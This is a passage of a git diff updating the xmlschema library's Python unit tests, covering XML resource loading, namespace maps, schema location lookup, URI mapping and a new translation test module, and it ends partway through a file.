self.assertTrue(result.endswith('dummy%20file.xml')) def test_fetch_namespaces_function(self): self.assertFalse(fetch_namespaces(casepath('resources/malformed.xml'))) - def test_fetch_schema_locations(self): - locations = fetch_schema_locations(self.col_xml_file) - self.check_url(locations[0], self.col_xsd_file) - self.assertEqual(locations[1][0][0], 'http://example.com/ns/collection') - self.check_url(locations[1][0][1], self.col_xsd_file) - self.check_url(fetch_schema(self.vh_xml_file), self.vh_xsd_file) + def test_fetch_schema_locations_function(self): + schema_url, locations = fetch_schema_locations(self.col_xml_file) + self.check_url(schema_url, self.col_xsd_file) + self.assertEqual(locations[0][0], 'http://example.com/ns/collection') + self.check_url(locations[0][1], self.col_xsd_file) + + with self.assertRaises(ValueError) as ctx: + fetch_schema_locations(self.col_xml_file, allow='none') + self.assertIn('not found a schema for', str(ctx.exception)) with self.assertRaises(ValueError) as ctx: fetch_schema_locations('') - self.assertIn('does not contain any schema location hint', str(ctx.exception)) + self.assertEqual( + "provided arguments don't contain any schema location hint", + str(ctx.exception) + ) + + schema_url, locations_ = fetch_schema_locations('', locations) + self.check_url(schema_url, self.col_xsd_file) + self.assertListEqual(locations, locations_) + + locations = [('', casepath('resources/dummy file.xml'))] + with self.assertRaises(ValueError) as ctx: + fetch_schema_locations('', locations) + self.assertIn('not found a schema for', str(ctx.exception)) + + with working_dir(pathlib.Path(__file__).parent): + locations = [('http://example.com/ns/collection', + 'test_cases/examples/collection/collection.xsd')] + schema_url, locations_ = fetch_schema_locations('', locations) + self.check_url(schema_url, self.col_xsd_file) + self.assertNotEqual(locations, locations_) + + base_url = "file:///wrong/base/url" + with self.assertRaises(ValueError) as ctx: + fetch_schema_locations('', locations, base_url) + self.assertIn('not found a schema for', str(ctx.exception)) + + def test_fetch_schema_function(self): + self.check_url(fetch_schema(self.vh_xml_file), self.vh_xsd_file) # Tests on XMLResource instances def test_xml_resource_representation(self): @@ -452,7 +208,7 @@ def test_xml_resource_from_url(self): self.assertIsNone(resource.text) with self.assertRaises(XMLResourceError) as ctx: resource.load() - self.assertIn('cannot load a lazy resource', str(ctx.exception)) + self.assertIn('cannot load a lazy XML resource', str(ctx.exception)) self.assertIsNone(resource.text) resource = XMLResource(self.vh_xml_file, lazy=False) @@ -488,7 +244,7 @@ def test_xml_resource_from_path(self): self.assertIsNone(resource.text) with self.assertRaises(XMLResourceError) as ctx: resource.load() - self.assertIn('cannot load a lazy resource', str(ctx.exception)) + self.assertIn('cannot load a lazy XML resource', str(ctx.exception)) self.assertIsNone(resource.text) resource = XMLResource(path, lazy=False) @@ -555,7 +311,7 @@ def test_xml_resource_from_lxml(self): self.assertIn('', xml_text) def test_xml_resource_from_resource(self): - xml_file = urlopen('file://{}'.format(add_leading_slash(self.vh_xml_file))) + xml_file = urlopen(f'file://{add_leading_slash(self.vh_xml_file)}') try: resource = XMLResource(xml_file, lazy=False) self.assertEqual(resource.source, xml_file) @@ -601,7 +357,7 @@ def test_xml_resource_from_file(self): with self.assertRaises(XMLResourceError) as ctx: resource.load() - self.assertEqual("cannot load a lazy resource", str(ctx.exception)) + self.assertEqual("cannot load a lazy XML resource", str(ctx.exception)) self.assertFalse(schema_file.closed) for _ in resource.iter(): @@ -689,31 +445,6 @@ def test_xml_resource_namespace(self): self.assertEqual(resource.namespace, 'http://example.com/ns/collection') self.assertEqual(XMLResource('').namespace, '') - def test_xml_resource_update_nsmap_method(self): - resource = XMLResource(self.vh_xml_file) - - nsmap = {} - resource._update_nsmap(nsmap, 'xs', XSD_NAMESPACE) - self.assertEqual(nsmap, {'xs': XSD_NAMESPACE}) - resource._update_nsmap(nsmap, 'xs', XSD_NAMESPACE) - self.assertEqual(nsmap, {'xs': XSD_NAMESPACE}) - resource._update_nsmap(nsmap, 'tns0', 'http://example.com/ns') - self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, 'tns0': 'http://example.com/ns'}) - resource._update_nsmap(nsmap, 'xs', 'http://example.com/ns') - self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, - 'xs0': 'http://example.com/ns', - 'tns0': 'http://example.com/ns'}) - resource._update_nsmap(nsmap, 'xs', 'http://example.com/ns') - self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, - 'xs0': 'http://example.com/ns', - 'tns0': 'http://example.com/ns'}) - - resource._update_nsmap(nsmap, 'xs', 'http://example.com/ns2') - self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, - 'xs0': 'http://example.com/ns', - 'xs1': 'http://example.com/ns2', - 'tns0': 'http://example.com/ns'}) - def test_xml_resource_access(self): resource = XMLResource(self.vh_xml_file) base_url = resource.base_url @@ -752,7 +483,7 @@ def test_xml_resource_access(self): XMLResource(source, base_url=base_url, allow='sandbox') self.assertEqual( str(ctx.exception), - "block access to out of sandbox file {}".format(normalize_url(source)), + f"block access to out of sandbox file {normalize_url(source)}", ) with self.assertRaises(TypeError) as ctx: @@ -790,9 +521,9 @@ def test_xml_resource_defuse(self): self.assertEqual(resource.defuse, 'never') self.assertRaises(ValueError, XMLResource, self.vh_xml_file, defuse='all') self.assertRaises(TypeError, XMLResource, self.vh_xml_file, defuse=None) - self.assertIsInstance(resource.root, etree_element) + self.assertIsInstance(resource.root, ElementTree.Element) resource = XMLResource(self.vh_xml_file, defuse='always', lazy=True) - self.assertIsInstance(resource.root, py_etree_element) + self.assertIsInstance(resource.root, PyElementTree.Element) xml_file = casepath('resources/with_entity.xml') self.assertIsInstance(XMLResource(xml_file, lazy=True), XMLResource) @@ -923,12 +654,13 @@ def test_xml_resource__lazy_iterparse(self): for _, elem in resource._lazy_iterparse(self.col_xml_file): self.assertTrue(is_etree_element(elem)) - nsmap = [] - for _, elem in resource._lazy_iterparse(self.col_xml_file, nsmap=nsmap): + for _, elem in resource._lazy_iterparse(self.col_xml_file): self.assertTrue(is_etree_element(elem)) - self.assertListEqual( - nsmap, [('col', 'http://example.com/ns/collection'), - ('xsi', 'http://www.w3.org/2001/XMLSchema-instance')]) + self.assertDictEqual( + resource.get_nsmap(elem), + {'col': 'http://example.com/ns/collection', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} + ) resource._defuse = 'always' for _, elem in resource._lazy_iterparse(self.col_xml_file): @@ -958,7 +690,24 @@ def test_xml_resource_tostring(self): resource = XMLResource(self.vh_xml_file, lazy=True) with self.assertRaises(XMLResourceError) as ctx: resource.tostring() - self.assertEqual("cannot serialize a lazy resource", str(ctx.exception)) + self.assertEqual("cannot serialize a lazy XML resource", str(ctx.exception)) + + resource = XMLResource(XML_WITH_NAMESPACES) + result = resource.tostring() + self.assertNotEqual(result, XML_WITH_NAMESPACES) + + # With xml.etree.ElementTree namespace declarations are serialized + # with a loss of information (all collapsed into the root element). + self.assertEqual(result, '\n' + ' \n') + + if lxml_etree is not None: + root = lxml_etree.XML(XML_WITH_NAMESPACES) + resource = XMLResource(root) + + # With lxml.etree there is no information loss. + self.assertEqual(resource.tostring(), XML_WITH_NAMESPACES) def test_xml_resource_open(self): resource = XMLResource(self.vh_xml_file) @@ -1023,7 +772,7 @@ def test_xml_resource_iter(self): lazy_tags = [x.tag for x in lazy_resource.iter()] self.assertEqual(len(lazy_tags), 1390) - self.assertEqual(lazy_tags[-1], '{%s}schema' % XSD_NAMESPACE) + self.assertEqual(lazy_tags[0], '{%s}schema' % XSD_NAMESPACE) self.assertNotEqual(tags, lazy_tags) tags = [x.tag for x in resource.iter('{%s}complexType' % XSD_NAMESPACE)] @@ -1039,39 +788,35 @@ def test_xml_resource_iter_depth(self): lazy_resource = XMLResource(XMLSchema.meta_schema.source.url, lazy=True) self.assertTrue(lazy_resource.is_lazy()) - # Note: Element change with lazy resource so compare only tags + # Note: Elements change using a lazy resource so compare only tags - nsmap = [] - tags = [x.tag for x in resource.iter_depth(nsmap=nsmap)] + tags = [x.tag for x in resource.iter_depth()] self.assertEqual(len(tags), 1) self.assertEqual(tags[0], '{%s}schema' % XSD_NAMESPACE) - self.assertListEqual( - nsmap, [('xs', 'http://www.w3.org/2001/XMLSchema'), - ('hfp', 'http://www.w3.org/2001/XMLSchema-hasFacetAndProperty')]) lazy_tags = [x.tag for x in lazy_resource.iter_depth()] self.assertEqual(len(lazy_tags), 156) self.assertEqual(lazy_tags[0], '{%s}annotation' % XSD_NAMESPACE) self.assertEqual(lazy_tags[-1], '{%s}element' % XSD_NAMESPACE) - lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=2)] + lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=3)] self.assertListEqual(tags, lazy_tags) lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=1)] self.assertEqual(len(lazy_tags), 156) - lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=3)] + lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=4)] self.assertEqual(len(lazy_tags), 157) self.assertEqual(tags[0], lazy_tags[-1]) - lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=4)] + lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=5)] self.assertEqual(len(lazy_tags), 158) self.assertEqual(tags[0], lazy_tags[0]) self.assertEqual(tags[0], lazy_tags[-1]) with self.assertRaises(ValueError) as ctx: - _ = [x.tag for x in lazy_resource.iter_depth(mode=5)] - self.assertEqual("invalid argument mode=5", str(ctx.exception)) + _ = [x.tag for x in lazy_resource.iter_depth(mode=6)] + self.assertEqual("invalid argument mode=6", str(ctx.exception)) source = StringIO('' ' ' @@ -1079,11 +824,10 @@ def test_xml_resource_iter_depth(self): '') resource = XMLResource(source, lazy=3) - nsmap = [] ancestors = [] - self.assertIs(next(resource.iter_depth(nsmap=nsmap, ancestors=ancestors)), - resource.root[1][0][0]) - self.assertListEqual(nsmap, [('tns0', 'http://example.com/ns0')]) + self.assertIs(next(resource.iter_depth(ancestors=ancestors)), resource.root[1][0][0]) + nsmap = resource.get_nsmap(resource.root[1][0][0]) + self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root, resource.root[1], resource.root[1][0]]) def test_xml_resource_iterfind(self): @@ -1096,8 +840,10 @@ def test_xml_resource_iterfind(self): tags = [x.tag for x in resource.iterfind(path='.')] self.assertEqual(len(tags), 1) self.assertEqual(tags[0], '{%s}schema' % XSD_NAMESPACE) - lazy_tags = [x.tag for x in lazy_resource.iterfind(path='.')] - self.assertListEqual(tags, lazy_tags) + + with self.assertRaises(XMLResourceError) as ctx: + _ = [x.tag for x in lazy_resource.iterfind(path='.')] + self.assertEqual("cannot use path '.' on a lazy resource", str(ctx.exception)) tags = [x.tag for x in resource.iterfind(path='*')] self.assertEqual(len(tags), 156) @@ -1130,38 +876,24 @@ def test_xml_resource_find(self): ' ' ' ' '') - nsmap = [] - self.assertIs(resource.find('*/c2', nsmap=nsmap), resource.root[0][1]) - self.assertListEqual(nsmap, [('tns2', 'http://example.com/ns2')]) - - nsmap = [] - self.assertEqual(resource.find('*/c2/@x', nsmap=nsmap), '2') - self.assertListEqual(nsmap, []) + self.assertIs(resource.find('*/c2'), resource.root[0][1]) + nsmap = resource.get_nsmap(resource.root[0][1]) + self.assertDictEqual(nsmap, {'tns2': 'http://example.com/ns2'}) - nsmap = [] ancestors = [] - self.assertIs(resource.find('*/c2', nsmap=nsmap, ancestors=ancestors), + self.assertIs(resource.find('*/c2', ancestors=ancestors), resource.root[0][1]) - self.assertListEqual(nsmap, [('tns2', 'http://example.com/ns2')]) + nsmap = resource.get_nsmap(resource.root[0][1]) + self.assertDictEqual(nsmap, {'tns2': 'http://example.com/ns2'}) self.assertListEqual(ancestors, [resource.root, resource.root[0]]) - nsmap = [] - ancestors = [] - self.assertEqual(resource.find('*/c2/@x', nsmap=nsmap, ancestors=ancestors), '2') - self.assertListEqual(nsmap, []) - self.assertListEqual(ancestors, []) - - nsmap = [] ancestors = [] - self.assertIs(resource.find('.', nsmap=nsmap, ancestors=ancestors), - resource.root) - self.assertListEqual(nsmap, []) + self.assertIs(resource.find('.', ancestors=ancestors), resource.root) + self.assertDictEqual(resource.get_nsmap(resource.root), {}) self.assertListEqual(ancestors, []) - nsmap = [] ancestors = [] - self.assertIsNone(resource.find('b3', nsmap=nsmap, ancestors=ancestors)) - self.assertListEqual(nsmap, []) + self.assertIsNone(resource.find('b3', ancestors=ancestors)) self.assertListEqual(ancestors, []) def test_xml_resource_lazy_find(self): @@ -1175,50 +907,50 @@ def test_xml_resource_lazy_find(self): '') resource = XMLResource(source, lazy=True) - nsmap = [] ancestors = [] - self.assertIs(resource.find('*/c2', nsmap=nsmap, ancestors=ancestors), + self.assertIs(resource.find('*/c2', ancestors=ancestors), resource.root[0][1]) - self.assertListEqual(nsmap, [('tns0', 'http://example.com/ns0'), - ('tns2', 'http://example.com/ns2')]) + nsmap = resource.get_nsmap(resource.root[0][1]) + self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0', + 'tns2': 'http://example.com/ns2'}) self.assertListEqual(ancestors, [resource.root, resource.root[0]]) - nsmap = [] ancestors = [] - self.assertIs(resource.find('*/c3', nsmap=nsmap, ancestors=ancestors), + self.assertIs(resource.find('*/c3', ancestors=ancestors), resource.root[1][0]) - self.assertListEqual(nsmap, [('tns0', 'http://example.com/ns0')]) + nsmap = resource.get_nsmap(resource.root[1][0]) + self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root, resource.root[1]]) - nsmap = [] ancestors = [] - self.assertIs(resource.find('*/c3/d1', nsmap=nsmap, ancestors=ancestors), + self.assertIs(resource.find('*/c3/d1', ancestors=ancestors), resource.root[1][0][0]) - self.assertListEqual(nsmap, [('tns0', 'http://example.com/ns0')]) + + nsmap = resource.get_nsmap(resource.root[1][0][0]) + self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root, resource.root[1], resource.root[1][0]]) - nsmap = [] ancestors = [] - self.assertIs(resource.find('*', nsmap=nsmap, ancestors=ancestors), + self.assertIs(resource.find('*', ancestors=ancestors), resource.root[0]) - self.assertListEqual(nsmap, [('tns0', 'http://example.com/ns0')]) + nsmap = resource.get_nsmap(resource.root[0]) + self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root]) - nsmap = [] ancestors = [] - self.assertIsNone(resource.find('/b1', nsmap=nsmap, ancestors=ancestors)) - self.assertListEqual(nsmap, []) - self.assertListEqual(ancestors, []) + with self.assertRaises(XMLResourceError) as ctx: + resource.find('/b1', ancestors=ancestors) + self.assertEqual("cannot use path '/b1' on a lazy resource", str(ctx.exception)) source.seek(0) resource = XMLResource(source, lazy=2) - nsmap = [] ancestors = [] - self.assertIs(resource.find('*/c2', nsmap=nsmap, ancestors=ancestors), + self.assertIs(resource.find('*/c2', ancestors=ancestors), resource.root[0][1]) - self.assertListEqual(nsmap, [('tns0', 'http://example.com/ns0'), - ('tns2', 'http://example.com/ns2')]) + nsmap = resource.get_nsmap(resource.root[0][1]) + self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0', + 'tns2': 'http://example.com/ns2'}) self.assertListEqual(ancestors, [resource.root, resource.root[0]]) def test_xml_resource_findall(self): @@ -1232,9 +964,9 @@ def test_xml_resource_nsmap_tracking(self): xsd_file = casepath('examples/collection/collection4.xsd') resource = XMLResource(xsd_file) root = resource.root - nsmap = [] - for elem in resource.iter(nsmap=nsmap): + for elem in resource.iter(): + nsmap = resource.get_nsmap(elem) if elem is root[2][0] or elem in root[2][0]: self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://www.w3.org/2001/XMLSchema'}) @@ -1242,22 +974,26 @@ def test_xml_resource_nsmap_tracking(self): self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://example.com/ns/collection'}) - nsmap.clear() - resource._nsmap.clear() - resource._nsmap[resource._root] = [] + resource._nsmaps.clear() + resource._nsmaps[resource._root] = {} - for _ in resource.iter(nsmap=nsmap): - self.assertEqual(nsmap, []) + for elem in resource.iter(): + nsmap = resource.get_nsmap(elem) + if elem is resource.root: + self.assertEqual(nsmap, {}) + else: + self.assertIsNone(nsmap) - nsmap.clear() if lxml_etree is not None: tree = lxml_etree.parse(xsd_file) resource = XMLResource(tree) root = resource.root - for elem in resource.iter(nsmap=nsmap): + for elem in resource.iter(): if callable(elem.tag): continue + + nsmap = resource.get_nsmap(elem) if elem is root[2][0] or elem in root[2][0]: self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://www.w3.org/2001/XMLSchema'}) @@ -1265,20 +1001,22 @@ def test_xml_resource_nsmap_tracking(self): self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://example.com/ns/collection'}) - nsmap = {} resource = XMLResource(xsd_file, lazy=True) - root = elem = resource.root - for elem in resource.iter(nsmap=nsmap): + root = resource.root + for k, elem in enumerate(resource.iter()): + if not k: + self.assertIs(elem, resource.root) + self.assertIsNot(root, resource.root) + + nsmap = resource.get_nsmap(elem) try: if elem is resource.root[2][0] or elem in resource.root[2][0]: - self.assertEqual(nsmap['default'], 'http://www.w3.org/2001/XMLSchema') - self.assertEqual(nsmap[''], 'http://example.com/ns/collection') + self.assertEqual(nsmap[''], 'http://www.w3.org/2001/XMLSchema') + else: + self.assertEqual(nsmap[''], 'http://example.com/ns/collection') except IndexError: self.assertEqual(nsmap[''], 'http://example.com/ns/collection') - self.assertIs(elem, resource.root) - self.assertIsNot(root, resource.root) - def test_xml_resource_get_namespaces(self): with open(self.vh_xml_file) as schema_file: resource = XMLResource(schema_file) @@ -1324,13 +1062,13 @@ def test_xml_resource_get_namespaces(self): resource = XMLResource('') with self.assertRaises(ValueError) as ctx: resource.get_namespaces(namespaces={'xml': "http://example.com/ne"}) - self.assertIn("reserved prefix (xml)", str(ctx.exception)) + self.assertIn("reserved prefix 'xml'", str(ctx.exception)) def test_xml_resource_get_locations(self): resource = XMLResource(self.col_xml_file) self.check_url(resource.url, normalize_url(self.col_xml_file)) - locations = resource.get_locations([('ns', 'other.xsd')]) + locations = resource.get_locations([('ns', 'other.xsd')], root_only=False) self.assertEqual(len(locations), 2) self.check_url(locations[0][1], os.path.join(self.col_dir, 'other.xsd')) self.check_url(locations[1][1], normalize_url(self.col_xsd_file)) @@ -1342,7 +1080,7 @@ def test_xml_resource_get_locations(self): '') resource = XMLResource(source) - locations = resource.get_locations() + locations = resource.get_locations(root_only=False) self.assertEqual(len(locations), 2) self.assertEqual(locations[0][0], 'http://example.com/ns1') self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/loc1') @@ -1381,9 +1119,9 @@ def test_remote_resource_loading(self): def test_schema_defuse(self): vh_schema = XMLSchema(self.vh_xsd_file, defuse='always') - self.assertIsInstance(vh_schema.root, etree_element) + self.assertIsInstance(vh_schema.root, ElementTree.Element) for schema in vh_schema.maps.iter_schemas(): - self.assertIsInstance(schema.root, etree_element) + self.assertIsInstance(schema.root, ElementTree.Element) def test_schema_resource_access(self): vh_schema = XMLSchema(self.vh_xsd_file, allow='sandbox') @@ -1436,7 +1174,7 @@ def test_fid_with_name_attr(self): zip using the zipfile module and with Django files in some instances. """ - class FileProxy(object): + class FileProxy: def __init__(self, fid, fake_name): self._fid = fid self.name = fake_name @@ -1453,29 +1191,6 @@ def __getattr__(self, attr): self.assertEqual(set(resource.get_namespaces().keys()), {'vh', 'xsi'}) self.assertFalse(xml_file.closed) - def test_lazy_selector(self): - selector = LazySelector('./*') - self.assertEqual(repr(selector), "LazySelector(path='./*')") - - with self.assertRaises(SyntaxError): - LazySelector('self::*') - - root = ElementTree.XML('') - self.assertListEqual(selector.select(root), root[:]) - self.assertListEqual(list(selector.iter_select(root)), root[:]) - - selector = LazySelector('./b1/@c') - - with self.assertRaises(XMLResourceError) as ctx: - selector.select(root) - self.assertEqual("XPath expressions on lazy resources can " - "select only elements", str(ctx.exception)) - - with self.assertRaises(XMLResourceError) as ctx: - list(selector.iter_select(root)) - self.assertEqual("XPath expressions on lazy resources can " - "select only elements", str(ctx.exception)) - def test_parent_map(self): root = ElementTree.XML('') resource = XMLResource(root) @@ -1488,7 +1203,8 @@ def test_parent_map(self): resource = XMLResource(StringIO(''), lazy=True) with self.assertRaises(XMLResourceError) as ctx: _ = resource.parent_map - self.assertEqual("cannot create the parent map of a lazy resource", str(ctx.exception)) + self.assertEqual("cannot create the parent map of a lazy XML resource", + str(ctx.exception)) def test_get_nsmap(self): source = '' @@ -1497,41 +1213,79 @@ def test_get_nsmap(self): root = ElementTree.XML(source) resource = XMLResource(root) - self.assertListEqual(resource.get_nsmap(root), []) - self.assertListEqual(resource.get_nsmap(root[1]), []) - self.assertListEqual(resource.get_nsmap(alien_elem), []) + self.assertIsNone(resource.get_nsmap(root)) + self.assertIsNone(resource.get_nsmap(root[1])) + self.assertIsNone(resource.get_nsmap(alien_elem)) + + if lxml_etree is not None: + root = lxml_etree.XML(source) + resource = XMLResource(root) + + self.assertDictEqual(resource.get_nsmap(root), {'': 'uri1'}) + self.assertDictEqual(resource.get_nsmap(root[0]), {'x': 'uri2', '': 'uri1'}) + self.assertDictEqual(resource.get_nsmap(root[1]), {'': 'uri3'}) + self.assertIsNone(resource.get_nsmap(alien_elem)) + + resource = XMLResource(source) + root = resource.root + + self.assertDictEqual(resource.get_nsmap(root), {'': 'uri1'}) + self.assertDictEqual(resource.get_nsmap(root[0]), {'': 'uri1', 'x': 'uri2'}) + self.assertDictEqual(resource.get_nsmap(root[1]), {'': 'uri3'}) + self.assertIsNone(resource.get_nsmap(alien_elem)) + + resource = XMLResource(StringIO(source), lazy=True) + root = resource.root + self.assertTrue(resource.is_lazy()) + + self.assertDictEqual(resource.get_nsmap(root), {'': 'uri1'}) + self.assertIsNone(resource.get_nsmap(root[0])) + self.assertIsNone(resource.get_nsmap(root[1])) + self.assertIsNone(resource.get_nsmap(alien_elem)) + + def test_get_xmlns(self): + source = '' + alien_elem = ElementTree.XML('') + + root = ElementTree.XML(source) + resource = XMLResource(root) + + self.assertIsNone(resource.get_xmlns(root)) + self.assertIsNone(resource.get_xmlns(root[1])) + self.assertIsNone(resource.get_xmlns(alien_elem)) if lxml_etree is not None: root = lxml_etree.XML(source) resource = XMLResource(root) - self.assertListEqual(resource.get_nsmap(root), [('', 'uri1')]) - self.assertListEqual(resource.get_nsmap(root[0]), [('x', 'uri2'), ('', 'uri1')]) - self.assertListEqual(resource.get_nsmap(root[1]), [('', 'uri3')]) - self.assertListEqual(resource.get_nsmap(alien_elem), []) + self.assertListEqual(resource.get_xmlns(root), [('', 'uri1')]) + self.assertListEqual(resource.get_xmlns(root[0]), [('x', 'uri2')]) + self.assertListEqual(resource.get_xmlns(root[1]), [('', 'uri3')]) + self.assertIsNone(resource.get_xmlns(alien_elem)) resource = XMLResource(source) root = resource.root - self.assertListEqual(resource.get_nsmap(root), [('', 'uri1')]) - self.assertListEqual(resource.get_nsmap(root[0]), [('', 'uri1'), ('x', 'uri2')]) - self.assertListEqual(resource.get_nsmap(root[1]), [('', 'uri1'), ('', 'uri3')]) - self.assertListEqual(resource.get_nsmap(alien_elem), []) + self.assertListEqual(resource.get_xmlns(root), [('', 'uri1')]) + self.assertListEqual(resource.get_xmlns(root[0]), [('x', 'uri2')]) + self.assertListEqual(resource.get_xmlns(root[1]), [('', 'uri3')]) + self.assertIsNone(resource.get_xmlns(alien_elem)) resource = XMLResource(StringIO(source), lazy=True) root = resource.root self.assertTrue(resource.is_lazy()) - self.assertListEqual(resource.get_nsmap(root), [('', 'uri1')]) - self.assertListEqual(resource.get_nsmap(root[0]), []) - self.assertListEqual(resource.get_nsmap(root[1]), []) - self.assertListEqual(resource.get_nsmap(alien_elem), []) + self.assertListEqual(resource.get_xmlns(root), [('', 'uri1')]) + self.assertIsNone(resource.get_xmlns(root[0])) + self.assertIsNone(resource.get_xmlns(root[1])) + self.assertIsNone(resource.get_xmlns(alien_elem)) def test_xml_subresource(self): resource = XMLResource(self.vh_xml_file, lazy=True) with self.assertRaises(XMLResourceError) as ctx: resource.subresource(resource.root) - self.assertEqual("cannot create a subresource from a lazy resource", str(ctx.exception)) + self.assertEqual("cannot create a subresource from a lazy XML resource", + str(ctx.exception)) resource = XMLResource(self.vh_xml_file) root = resource.root @@ -1562,6 +1316,25 @@ def test_loading_from_unrelated_dirs__issue_237(self): self.assertEqual(schema.maps.namespaces[''][1].name, 'issue_237a.xsd') self.assertEqual(schema.maps.namespaces[''][2].name, 'issue_237b.xsd') + def test_uri_mapper(self): + urn = 'urn:example:xmlschema:vehicles.xsd' + uri_mapper = {urn: self.vh_xsd_file} + + with self.assertRaises(URLError): + XMLResource(urn) + + resource = XMLResource(urn, uri_mapper=uri_mapper) + self.assertEqual(resource.url[-30:], 'examples/vehicles/vehicles.xsd') + + vh_schema = XMLSchema(self.vh_xsd_file, uri_mapper=uri_mapper) + self.assertTrue(vh_schema.is_valid(self.vh_xml_file)) + + def uri_mapper(uri): + return self.vh_xsd_file if uri == urn else uri + + resource = XMLResource(urn, uri_mapper=uri_mapper) + self.assertEqual(resource.url[-30:], 'examples/vehicles/vehicles.xsd') + if __name__ == '__main__': header_template = "Test xmlschema's XML resources with Python {} on platform {}" diff --git a/tests/test_translations.py b/tests/test_translations.py new file mode 100644 index 0000000..c68d260 --- /dev/null +++ b/tests/test_translations.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python +# +# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato +# +"""Tests on internal helper functions""" +import unittest +import gettext +import warnings +import pathlib + +from xmlschema import XMLSchema, translation +from xmlschema.testing import SKIP_REMOTE_TESTS + + +class TestTranslations(unittest.TestCase): + + @classmethod + def setUpClass(cls): + XMLSchema.meta_schema.build() + cls.translation_classes = (gettext.NullTranslations, # in case of fallback + gettext.GNUTranslations) + + @classmethod + def tearDownClass(cls): + XMLSchema.meta_schema.clear() + + def test_activation(self): + self.assertIsNone(translation._translation) + try: + translation.activate() + self.assertIsInstance(translation._translation, self.translation_classes) + finally: + translation._translation = None + + def test_deactivation(self): + self.assertIsNone(translation._translation) + try: + translation.activate() + self.assertIsInstance(translation._translation, self.translation_classes) + translation.deactivate() + self.assertIsNone(translation._translation) + finally: + translation._translation = None + + def test_install(self): + import builtins + + self.assertIsNone(translation._translation) + self.assertFalse(translation._installed) + + try: + translation.activate(install=True) + self.assertIsInstance(translation._translation, self.translation_classes) + self.assertTrue(translation._installed) + self.assertEqual(builtins.__dict__['_'], translation._translation.gettext) + + translation.deactivate() + self.assertIsNone(translation._translation) + self.assertFalse(translation._installed) + self.assertNotIn('_', builtins.__dict__) + finally: + translation._translation = None + translation._installed = False + builtins.__dict__.pop('_', None) + + def test_it_translation(self): + self.assertIsNone(translation._translation) + try: + translation.activate(languages=['it']) + self.assertIsInstance(translation._translation, gettext.GNUTranslations) + result = translation.gettext("not a redefinition!") + self.assertEqual(result, "non è una ridefinizione!") + finally: + translation._translation = None + + try: + translation.activate(languages=['it', 'en']) + self.assertIsInstance(translation._translation, gettext.GNUTranslations) + result = translation.gettext("not a redefinition!") + self.assertEqual(result, "non è una ridefinizione!") + + translation.activate(languages=['en', 'it']) + self.assertIsInstance(translation._translation, gettext.GNUTranslations) + result = translation.gettext("not a redefinition!") + self.assertEqual(result, "not a redefinition!") + finally: + translation._translation = None + + def test_pl_translation(self): + self.assertIsNone(translation._translation) + try: + translation.activate(languages=['pl']) + self.assertIsInstance(translation._translation, gettext.GNUTranslations) + result = translation.gettext("The content of element %r is not complete.") + self.assertEqual(result, "Zawartość elementu %r nie jest kompletna.") + finally: + translation._translation = None + + try: + translation.activate(languages=['pl', 'en']) + self.assertIsInstance(translation._translation, gettext.GNUTranslations) + result = translation.gettext("The content of element %r is not complete.") + self.assertEqual(result, "Zawartość elementu %r nie jest kompletna.") + finally: + translation._translation = None + + @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") + def test_pl_validation_translation(self): + test_dir_path = pathlib.Path(__file__).absolute().parent + + xml_path = test_dir_path.joinpath( + "test_cases//translations//pl//tytul_wykonawczy_niekompletny.xml" + ) + xsd_path = test_dir_path.joinpath("test_cases//translations//pl//tw-1(5)8e.xsd") + + expected_errors = [ + "Zawartość elementu 'com:Opisowy' nie jest kompletna. " + "Oczekiwany znacznik 'com:Miejscowosc'.", + "atrybut rodzaj='8': wartość musi być jedną z [1, 2]", + "Zawartość elementu 'com:Beneficjent' nie jest kompletna. " + "Oczekiwany znacznik 'com:NrRachunkuPL'.", + ] + with warnings.catch_warnings(record=True) as warns: + warnings.simplefilter("always") + + try: + translation.activate(languages=['pl']) + schema = XMLSchema( + xsd_path, + defuse="never", + validation="lax", + ) + errors = [error.reason for error in schema.iter_errors(xml_path)] + if warns: + self.assertNotEqual(errors, expected_errors) + else: + self.assertListEqual(errors, expected_errors) + finally: + translation._translation = None + + +if __name__ == '__main__': + import platform + + header_template = "Test xmlschema translations with Python {} on {}" + header = header_template.format(platform.python_version(), platform.platform()) + print('{0}\n{1}\n{0}'.format("*" * len(header), header)) + + unittest.main() diff --git a/tests/test_typing.py b/tests/test_typing.py index 6304248..87ce443 100644 --- a/tests/test_typing.py +++ b/tests/test_typing.py @@ -11,43 +11,66 @@ """Tests about static typing of xmlschema objects.""" import unittest -import subprocess -import re +import importlib from pathlib import Path try: - import mypy + from mypy import api as mypy_api except ImportError: - mypy = None + mypy_api = None +try: + lxml_stubs_module = importlib.import_module('lxml-stubs') +except ImportError: + lxml_stubs_module = None + +import 